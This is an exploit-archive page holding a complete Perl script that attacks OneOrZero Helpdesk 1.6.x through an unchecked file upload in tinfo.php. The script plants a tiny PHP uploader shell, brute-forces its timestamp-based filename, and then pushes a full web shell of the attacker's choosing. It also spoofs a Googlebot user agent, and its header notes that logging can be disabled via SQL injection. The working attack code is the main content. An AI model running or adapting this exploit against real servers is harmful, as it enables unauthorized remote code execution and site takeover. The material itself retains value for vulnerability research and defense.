what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OneOrZero Helpdesk 1.6 Shell Upload Exploit

OneOrZero Helpdesk 1.6 Shell Upload Exploit
Posted Dec 30, 2008
Authored by Ams

OneOrZero Helpdesk version 1.6.x remote shell upload exploit.

tags | exploit, remote, shell, file upload
SHA-256 | 780c96fbf034819075a9a3cb2dc05aeab8c58c211a6cb6c2f02d589d69069320

OneOrZero Helpdesk 1.6 Shell Upload Exploit

Change Mirror Download
#!/usr/bin/perl
=about

OneOrZero 1.6.* Perl exploit

AUTHOR
discovered & written by Ams
ax330d [doggy] gmail [dot] com

VULN. DESCRIPTION:
In 'tinfo.php' script there are function
named uploadAttachment() through which
we are able to upload files.
It does not checks what the file
is uploaded.

EXPLOIT WORK:
First of all it uploads small shell,
then, due to unknown shell name,
it bruteforces it.
(Uploaded shell name is concatenation
of original filename,
unix timestamp and substracted
microseconds from time.)
Then it uploads new shell through
small shell.
(Script saves to DB what has been uploaded,
but if magic_quotes_gpc=off exploit
will disable this logging via SQl-inj.)

REQUIREMENTS:
Upload must be allowed.

PS:
With register_globals=on there are even more
vulnerabilities, starting from LFI till
remote code execution.

=cut

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common;

$| = 1;
&banner;

my $expl_url = shift or &usage;
my $tshell2 = shift;
&usage unless -f $tshell2;

my $tshell = q(<?php move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name'])?print('ok1'):0;?>);
my $spider = LWP::UserAgent->new;

$spider->timeout(9);
$spider->max_redirect(0);
$spider->agent('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');

exploit($expl_url);

sub exploit {

$_ = shift;

my($prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};
print "\n\tExploiting: $prot://$host$path\n";

my $req
= POST "$prot://$host$path/tinfo.php?id=999999",
Content_Type => 'form-data',
Content => [send_mail => 1,
SelectedFile => [ undef, 'by441e.php', 'Content_Type' => '\' text', 'Content' => $tshell ]
];

my $start_time = time();

my $res = $spider->request($req);
if (!$res->is_success) {
print "\tFailure...\n" . $res->status_line . "\n";
return 0;
}

if ($res->content !~ /by441e\.php/) {
print "\tFailure...\n";
return 0;
} else {
print "\n\tTest shell uploaded";
}

my $finish_time = time();

print "\n\tStarting bruteforce (start:${start_time}000 finish:${start_time}999)\n";

for my $sec ($start_time .. $finish_time) {
for my $micro ('000' .. '999') {

print "\t$prot://$host$path/attachments/$sec${micro}_by441e.php\r";
$res = $spider->request(HEAD "$prot://$host$path/attachments/$sec${micro}_by441e.php");

if ($res->status_line =~ /200/) {
print "\n\tFound one of shells...";
if (reload("$prot://$host$path/attachments/$sec${micro}_by441e.php")) {
print "\tShell: $prot://$host$path/attachments/sha.php\n";
}
return;
}
}
}

print "\n\tCould not find shell...\n";
}

sub reload {

my $addr = shift;
my $req
= POST $addr,
Content_Type => 'form-data',
Content => [ f => [ $tshell2, 'sha.php']];
my $res = $spider->request($req);

if ($res->content =~ /ok1/) {
print "new shell uploaded!\n";
return 1;
} else {
print "could not upload new shell.\n";
return 0;
}
}

sub usage {

print "
Provide url and shell what to upload.
Usage:
perl $0 http://example.com localshell.php

";
exit;
}

sub banner {

print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OneOrZero 1.6.* exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
";
}


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close